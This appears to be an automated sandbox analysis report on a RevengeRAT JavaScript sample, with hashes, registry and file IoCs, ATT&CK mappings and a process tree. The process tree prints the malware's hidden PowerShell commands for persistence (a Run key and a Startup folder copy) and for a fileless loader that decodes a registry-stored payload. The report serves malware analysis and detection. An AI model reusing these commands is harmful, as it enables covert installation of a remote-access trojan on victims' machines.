revengerat | 5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

General

Target

0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
Size

286KB
MD5

0baae90140666a166ba4c9afd6aeba63
SHA1

9bf0a78c3315231157c930e2b082bcc08595c540
SHA256

5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36
SHA512

62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089
SSDEEP

3072:X8ZCsmsR3IqCIHLl75z4sI70rcAtxu6m89132TEI6jL2TdKL9YEgIximLiJv55hE:sUUSzcWQViC9

Score

10^/10

revengerat persistence stealer trojan

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/4656-45-0x0000025377280000-0x0000025377288000-memory.dmp	revengerat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
24	4656	powershell.exe
42	4656	powershell.exe
49	4656	powershell.exe
60	4656	powershell.exe
77	4656	powershell.exe
78	4656	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3024	powershell.exe
3024	powershell.exe
4840	powershell.exe
4396	powershell.exe
4840	powershell.exe
4396	powershell.exe
4656	powershell.exe
4656	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3812 wrote to memory of 3024	3812	wscript.exe	84
PID 3812 wrote to memory of 3024	3812	wscript.exe	84
PID 3024 wrote to memory of 4944	3024	powershell.exe	86
PID 3024 wrote to memory of 4944	3024	powershell.exe	86
PID 4944 wrote to memory of 4840	4944	wscript.exe	87
PID 4944 wrote to memory of 4840	4944	wscript.exe	87
PID 4944 wrote to memory of 4396	4944	wscript.exe	89
PID 4944 wrote to memory of 4396	4944	wscript.exe	89
PID 4944 wrote to memory of 4656	4944	wscript.exe	91
PID 4944 wrote to memory of 4656	4944	wscript.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'));wscript 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js' -PropertyType String -Force;"
      4⤵
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'))"
      4⤵
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3jxchlky.2go.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js

Filesize
286KB

MD5
0baae90140666a166ba4c9afd6aeba63

SHA1
9bf0a78c3315231157c930e2b082bcc08595c540

SHA256
5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

SHA512
62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089

Download Submit
memory/3024-0-0x0000019800000000-0x0000019800022000-memory.dmp

Filesize
136KB

Download
memory/3024-10-0x00007FFF05FD0000-0x00007FFF06A91000-memory.dmp

Filesize
10.8MB

Download
memory/3024-11-0x00000197FDE10000-0x00000197FDE20000-memory.dmp

Filesize
64KB

Download
memory/3024-12-0x00000197FDE10000-0x00000197FDE20000-memory.dmp

Filesize
64KB

Download
memory/3024-13-0x0000019800080000-0x00000198000C4000-memory.dmp

Filesize
272KB

Download
memory/3024-16-0x0000019800150000-0x00000198001C6000-memory.dmp

Filesize
472KB

Download
memory/3024-53-0x00007FFF05FD0000-0x00007FFF06A91000-memory.dmp

Filesize
10.8MB

Download
memory/3024-54-0x00000197FDE10000-0x00000197FDE20000-memory.dmp

Filesize
64KB

Download
memory/4656-45-0x0000025377280000-0x0000025377288000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads